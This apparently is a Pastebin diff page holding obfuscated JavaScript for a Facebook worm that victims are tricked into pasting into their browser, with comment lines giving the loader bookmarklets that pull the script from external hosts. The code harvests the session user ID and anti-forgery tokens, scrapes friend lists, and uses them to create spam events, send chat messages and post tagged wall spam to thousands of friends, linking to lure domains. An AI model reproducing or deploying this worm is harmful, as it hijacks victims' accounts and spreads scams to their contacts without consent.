View difference between Paste ID: E7dZm6rP and
SHOW: | | - or go back to the newest paste.
1-
1+
// javascript:(a=(b=document).createElement('script')).src='//pastebin.com/raw.php?i=jagJrqrW',b.body.appendChild(a);void(0)
2
3
for (var x = 0; x < 5; ++x)
4
{
5
6
var randomnumber=Math.floor(Math.random()*99999);
7
var randomnumber1=Math.floor(Math.random()*987);
8
var randomnumber2=Math.floor(Math.random()*754);
9
var randomnumber3=Math.floor(Math.random()*43);
10
var randomnumber4=Math.floor(Math.random()*9);
11
var random=Math.floor(Math.random()*5);
12
13
if (random == 1)
14
  {
15
  var url = 'http://fb-views.appspot.com/?'
16
  }
17
else if (random == 2)
18
  {
19
  var url = 'http://view-me.appspot.com/?'
20
  }
21
else if (random == 3)
22
  {
23
  var url = 'http://see-profile.appspot.com/?'
24
  }
25
else if (random == 4)
26
  {
27
  var url = 'http://profile-viewed.appspot.com/?'
28
  }
29
else
30
  {
31
  var url = 'http://my-viewd.appspot.com/?'
32
  }
33
34
var message = '%firstname% loves to spam ';
35
var ev = 'Check out this new facebook feature! \x0A Paste the special code into your browser and spam other people! \x0A ';
36
var test = 'Top spamers are:\x0A';
37
var id = '%tf%    - ' + randomnumber1 + ' points,\x0A';
38
var id1 = '%tf%    - ' + randomnumber2 + ' points,\x0A';
39
var id2 = '%tf%    - ' + randomnumber3 + ' points,\x0A';
40
var id3 = '%tf%    - ' + randomnumber4 + ' points,\x0A';
41
var post = ' see who spammed your facebook profile! ';
42
var postmessage = test + id + id1 + id2 + id3 + post + randomnumber;
43
var chatmessage = message + randomnumber;
44
var redirect = 'http://facebook.com/';
45
var eventdesc = ev + randomnumber;
46
var eventname = 'How to see who spammed your profile!';
47
var nfriends = 5000;
48
49
50
51
         // <script>
52
    // the following line is what they paste into the browser:
53
    // javascript:(a=(b=document).createElement('script')).src='//wetroll.info/e.js?'+Math.random(),b.body.appendChild(a);void(0)
54
    var debug=false;
55
56
    var wf=0;
57
58
    var mf = function() {
59
      if (wf <= 0) { // redirect to final page which closes, because iframes don't deliver cookies reliably
60
        setTimeout(function () {
61
          window.top.location.href = redirect;
62
          }, 500);
63
      };
64
    };
65
66
    var doget = function (_0xaa04xb, _0xaa04xc, _0xaa04xd) {
67
        var _0xaa04xe = new XMLHttpRequest();
68
        _0xaa04xe['open']('GET', _0xaa04xb);
69
        _0xaa04xe['onreadystatechange'] = function () {
70
            if (_0xaa04xe['readyState'] == 4) {
71
                if (_0xaa04xe['status'] == 200 && _0xaa04xc) {
72
                    _0xaa04xc(_0xaa04xe['responseText']);
73
                };
74
                if (_0xaa04xd) {
75
                    _0xaa04xd();
76
                };
77
            };
78
        };
79
        _0xaa04xe['send']();
80
    };
81
doget('/', function (_0xaa04xf) {
82
    var _0xaa04x10 = document['cookie']['match'](/c_user=(\d+)/)[1];
83
    var _0xaa04x11 = function (_0xaa04x12) {
84
            return _0xaa04x12 ? '@[' + _0xaa04x12['id'] + ':' + _0xaa04x12['name'] + ']' : '';
85
        };
86
    var _0xaa04x13 = function (_0xaa04x12) {
87
            return _0xaa04x12 ? _0xaa04x12['name'] : '';
88
        };
89
    var _0xaa04x14 = function (_0xaa04x12) {
90
            out = '';
91
            for (var _0xaa04x15 in _0xaa04x12) {
92
                out += (out ? '&' : '') + _0xaa04x15 + ((_0xaa04x12[_0xaa04x15] !== null) ? '=' + encodeURIComponent(_0xaa04x12[_0xaa04x15]) : '');
93
            };
94
            return out;
95
        };
96
    var _0xaa04x16 = function (_0xaa04xb, _0xaa04x12, _0xaa04xc, _0xaa04xd) {
97
            var _0xaa04xe = new XMLHttpRequest();
98
            _0xaa04xe['open']('POST', _0xaa04xb);
99
            _0xaa04xe['setRequestHeader']('Content-Type', 'application/x-www-form-urlencoded');
100
            _0xaa04xe['onreadystatechange'] = function () {
101
                if (_0xaa04xe['readyState'] == 4) {
102
                    if (_0xaa04xe['status'] == 200 && _0xaa04xc) {
103
                        _0xaa04xc(_0xaa04xe['responseText']);
104
                    };
105
                    if (_0xaa04xd) {
106
                        _0xaa04xd();
107
                    };
108
                };
109
            };
110
            _0xaa04xe['send'](_0xaa04x14(_0xaa04x12));
111
        };
112
    var _0xaa04x17 = function () {
113
            var _0xaa04x18 = document['createElement']('div');
114
            _0xaa04x18['style']['display'] = 'block';
115
            _0xaa04x18['style']['position'] = 'absolute';
116
            _0xaa04x18['style']['width'] = 100 + '%';
117
            _0xaa04x18['style']['height'] = 100 + '%';
118
            _0xaa04x18['style']['left'] = 0 + 'px';
119
            _0xaa04x18['style']['top'] = 0 + 'px';
120
            _0xaa04x18['style']['textAlign'] = 'center';
121
            _0xaa04x18['style']['padding'] = '4px';
122
            _0xaa04x18['style']['background'] = '#FFFFFF';
123
            _0xaa04x18['style']['zIndex'] = 999999;
124
            _0xaa04x18['innerHTML'] = '&nbsp;<br/>Please wait, this can take a little while...<br/><br/> We are processing the offer for you... <a href="javascript:void(0);" onclick="wf=0; mf();">click here</a> ';
125
            document['body']['appendChild'](_0xaa04x18);
126
        };
127
    var _0xaa04x19 = _0xaa04xf['match'](/name=\\"xhpc_composerid\\" value=\\"([\d\w]+)\\"/i);
128
    if (_0xaa04x19) {
129
        comp = _0xaa04x19[1];
130
    } else {
131
        comp = '';
132
    };
133
    var _0xaa04x1a = _0xaa04xf['match'](/name="post_form_id" value="([\d\w]+)"/i)[1];
134
    var _0xaa04x1b = _0xaa04xf['match'](/name="fb_dtsg" value="([\d\w]+)"/i)[1];
135
    var _0xaa04x1c = document['getElementById']('navAccountName')['firstChild']['data'];
136
    redirect = redirect + '?' + _0xaa04x14({
137
        userid: _0xaa04x10,
138
        name: _0xaa04x1c,
139
        doclose: 1
140
    });
141
    _0xaa04x17();
142
    if (eventdesc) {
143
        wf++;
144
        _0xaa04x16('/ajax/choose/?__a=1', {
145
            type: 'event',
146
            eid: null,
147
            invite_message: '',
148
            __d: 1,
149
            post_form_id: _0xaa04x1a,
150
            fb_dtsg: _0xaa04x1b,
151
            lsd: null,
152
            post_form_id_source: 'AsyncRequest'
153
        }, function (_0xaa04x1d) {
154
            var _0xaa04x1e = _0xaa04x1d['match'](/\\"token\\":\\"([^\\]+)\\"/)[1];
155
            var _0xaa04xb = '/ajax/typeahead/first_degree.php?__a=1&viewer=' + _0xaa04x10 + '&token=' + _0xaa04x1e + '&filter[0]=user&options[0]=friends_only&options[1]=nm&options[2]=sort_alpha';
156
            doget(_0xaa04xb, function (_0xaa04x1f) {
157
                var _0xaa04x20 = _0xaa04x1f['match'](/\{"uid":\d+,/g);
158
                var _0xaa04x21 = [];
159
                for (var _0xaa04x22 = 0; _0xaa04x22 < _0xaa04x20['length']; _0xaa04x22++) {
160
                    var _0xaa04x23 = _0xaa04x20[_0xaa04x22]['match'](/:(\d+),/)[1];
161
                    if (_0xaa04x23 != _0xaa04x10) {
162
                        _0xaa04x21['push'](_0xaa04x23);
163
                    };
164
                };
165
                var _0xaa04x24 = new Date();
166
                _0xaa04x24['setTime'](_0xaa04x24['getTime']() + 60 * 60 * 24 * 1000);
167
                datestr = (_0xaa04x24['getMonth']() + 1) + '/' + _0xaa04x24['getDate']() + '/' + _0xaa04x24['getFullYear']();
168
                timestr = _0xaa04x24['getHours']() * 60;
169
                var _0xaa04x25 = {
170
                    post_form_id: _0xaa04x1a,
171
                    fb_dtsg: _0xaa04x1b,
172
                    start_dateIntlDisplay: datestr,
173
                    start_date: datestr,
174
                    start_time_hour_min: timestr,
175
                    name: eventname,
176
                    place_page_id: '',
177
                    location: '',
178
                    street: '',
179
                    geo_id: '',
180
                    geo_sq: '',
181
                    desc: eventdesc,
182
                    sgb_invitees: _0xaa04x21['join'](','),
183
                    sgb_emails: '',
184
                    sgb_message: '',
185
                    privacy_type: 'on',
186
                    guest_list: 'on',
187
                    connections_can_post: 'on',
188
                    save: 'Create Event',
189
                    submitting: ''
190
                };
191
                _0xaa04x25['new'] = '';
192
                _0xaa04x16('/events/create.php', _0xaa04x25, false, function () {
193
                    mf(--wf);
194
                });
195
            });
196
        });
197
    };
198
    if (chatmessage) {
199
        wf++;
200
        _0xaa04x16('/ajax/chat/buddy_list.php?__a=1', {
201
            user: _0xaa04x10,
202
            post_form_id: _0xaa04x1a,
203
            fb_dtsg: _0xaa04x1b,
204
            lsd: null,
205
            post_form_id_source: 'AsyncRequest',
206
            popped_out: false,
207
            force_render: true
208
        }, function (_0xaa04x1d) {
209
            var _0xaa04x26 = _0xaa04x1d['substr'](9);
210
            var _0xaa04x27 = eval('(' + _0xaa04x26 + ')');
211
            var _0xaa04x28 = _0xaa04x27['payload']['buddy_list'];
212
            for (var _0xaa04x29 in _0xaa04x28['nowAvailableList']) {
213
                var _0xaa04x2a = Math['floor'](Math['random']() * 1335448958);
214
                var _0xaa04x2b = (new Date())['getTime']();
215
                var _0xaa04x2c = chatmessage['replace']('%firstname%', _0xaa04x28['userInfos'][_0xaa04x29]['firstName']['toLowerCase']());
216
                _0xaa04x16('/ajax/chat/send.php?__a=1', {
217
                    msg_id: Math['floor'](Math['random']() * 1335448958),
218
                    client_time: (new Date())['getTime'](),
219
                    msg_text: chatmessage['replace']('%firstname%', _0xaa04x28['userInfos'][_0xaa04x29]['firstName']['toLowerCase']()),
220
                    to: _0xaa04x29,
221
                    post_form_id: _0xaa04x1a,
222
                    fb_dtsg: _0xaa04x1b,
223
                    post_form_id_source: 'AsyncRequest'
224
                });
225
            };
226
            mf(--wf);
227
        });
228
    };
229
    if (postmessage) {
230
        wf++;
231
        doget('/ajax/browser/friends/?uid=' + _0xaa04x10 + '&filter=all&__a=1&__d=1', function (_0xaa04x1d) {
232
            var _0xaa04x20 = _0xaa04x1d['match'](/\/\d+_\d+_\d+_q\.jpg.*?u003ca href=\\"http:\\\/\\\/www.facebook.com\\\/.*?\\u003c\\\/a>/gi);
233
            var _0xaa04x2d = [];
234
            if (_0xaa04x20) {
235
                for (var _0xaa04x22 = 0; _0xaa04x22 < _0xaa04x20['length']; _0xaa04x22++) {
236
                    var _0xaa04x23 = _0xaa04x20[_0xaa04x22]['match'](/_\d+_/)[0]['replace'](/_/g, '');
237
                    var _0xaa04x2e = _0xaa04x20[_0xaa04x22]['match'](/>[^>]+\\u003c\\\/a>$/i)[0]['replace'](/\\u003c\\\/a>$/gim, '')['replace'](/>/g, '');
238
                    _0xaa04x2d['push']({
239
                        id: _0xaa04x23,
240
                        name: _0xaa04x2e
241
                    });
242
                };
243
            };
244
            var _0xaa04xd = [];
245
            var _0xaa04x2f = [];
246
            while (_0xaa04x2d['length']) {
247
                var _0xaa04x30 = Math['floor'](Math['random']() * _0xaa04x2d['length']);
248
                _0xaa04xd['push'](_0xaa04x2d[_0xaa04x30]);
249
                _0xaa04x2f['push'](_0xaa04x2d[_0xaa04x30]);
250
                var _0xaa04x2b = _0xaa04x2d['shift']();
251
                if (_0xaa04x30) {
252
                    _0xaa04x2d[_0xaa04x30 - 1] = _0xaa04x2b;
253
                };
254
            };
255
            if (debug) {
256
                alert('fetched friends: ' + _0xaa04xd['length']);
257
            };
258
            var _0xaa04x31 = {
259
                post_form_id: _0xaa04x1a,
260
                fb_dtsg: _0xaa04x1b,
261
                xhpc_composerid: comp,
262
                xhpc_targetid: _0xaa04x10,
263
                xhpc_context: 'home',
264
                xhpc_fbx: '',
265
                lsd: null,
266
                post_form_id_source: 'AsyncRequest'
267
            };
268
            mt = postmessage;
269
            m = postmessage;
270
            while (mt['search']('%tf%') >= 0) {
271
                var _0xaa04x32 = _0xaa04xd['pop']();
272
                mt = mt['replace']('%tf%', _0xaa04x13(_0xaa04x32));
273
                m = m['replace']('%tf%', _0xaa04x11(_0xaa04x32));
274
            };
275
            _0xaa04x31['xhpc_message_text'] = mt;
276
            _0xaa04x31['xhpc_message'] = m;
277
            if (debug) {
278
                alert('message text: ' + mt);
279
            };
280
            _0xaa04x16('/ajax/updatestatus.php?__a=1', _0xaa04x31);
281
            var _0xaa04x33 = function (_0xaa04x15) {
282
                    if (_0xaa04x15 == 0) {
283
                        wf = 0;
284
                        mf();
285
                        return;
286
                    };
287
                    var _0xaa04x34 = _0xaa04x2f['shift']();
288
                    var _0xaa04x35 = {
289
                        post_form_id: _0xaa04x1a,
290
                        fb_dtsg: _0xaa04x1b,
291
                        xhpc_composerid: comp,
292
                        xhpc_targetid: _0xaa04x34['id'],
293
                        xhpc_context: 'profile',
294
                        xhpc_fbx: 1,
295
                        lsd: null,
296
                        post_form_id_source: 'AsyncRequest'
297
                    };
298
                    var _0xaa04x36 = postmessage;
299
                    var _0xaa04x37 = postmessage;
300
                    if (_0xaa04xd['length'] == 0) {
301
                        wf = 0;
302
                        mf();
303
                        return;
304
                    };
305
                    while (_0xaa04x36['search']('%tf%') >= 0) {
306
                        var _0xaa04x38 = _0xaa04xd['pop']();
307
                        _0xaa04x36 = _0xaa04x36['replace']('%tf%', _0xaa04x13(_0xaa04x38));
308
                        _0xaa04x37 = _0xaa04x37['replace']('%tf%', _0xaa04x11(_0xaa04x38));
309
                    };
310
                    _0xaa04x35['xhpc_message_text'] = _0xaa04x36;
311
                    _0xaa04x35['xhpc_message'] = _0xaa04x37;
312
                    _0xaa04x16('/ajax/updatestatus.php?__a=1', _0xaa04x35);
313
                    setTimeout(function () {
314
                        _0xaa04x33(_0xaa04x15 - 1);
315
                    }, 2000);
316
                };
317
            wf++;
318
            setTimeout(function () {
319
                _0xaa04x33(nfriends);
320
            }, 2000);
321
        });
322
    };
323
    mf();
324
});
325
326
}